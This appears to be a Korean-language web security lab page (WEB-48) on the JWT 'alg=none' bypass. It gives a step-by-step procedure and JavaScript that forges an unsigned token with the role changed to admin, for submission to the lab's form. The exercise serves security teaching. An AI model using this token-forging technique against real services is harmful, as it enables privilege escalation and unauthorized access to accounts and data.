JWT alg=none 우회 (WEB-48)

WEB-48 JWT alg=none

JWT alg=none 우회:
일부 JWT 검증 로직이 alg=none을 특별한 경우로 처리하거나, 완전히 무시할 수 있습니다. 이 경우 서명 검증이 생략되고, 공격자가 마음대로 페이로드를 변조하고 권한을 상승시킬 수 있습니다.

공격 방법

Step 1: 정상 JWT 토큰
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InVzZXIxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODQzNDM0Nzl9.u0Ku3klfq6zCzYHvih6hTvmKakuHMmVsRmxqq1rEE60
Step 2: Base64URL 디코딩
header = {"alg":"HS256","typ":"JWT"}
payload = {"user_id":1,"username":"user1","role":"user","iat":...}
signature = HMAC-SHA256 서명

Step 3: 토큰 변조
1. header의 algnone으로 변경
2. payload의 roleadmin으로 변경
3. Base64URL 인코딩 후 재조립
4. 서명 부분을 빈 문자열로 설정

Step 4: 변조된 토큰 제출
결과 토큰 형식: [base64url(header)].[base64url(payload)].

토큰 검증

Manual JWT Construction (JavaScript 예제)

// Header with alg=none
const header = { alg: "none", typ: "JWT" };
// Payload with admin role
const payload = { user_id: 1, username: "admin", role: "admin" };

// Base64URL encoding
const base64url = (obj) => {
  const json = JSON.stringify(obj);
  const base64 = btoa(json);
  return base64.replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
};

// Construct JWT
const token = base64url(header) + '.' + base64url(payload) + '.';
console.log(token);  // 이 토큰을 위 폼에 입력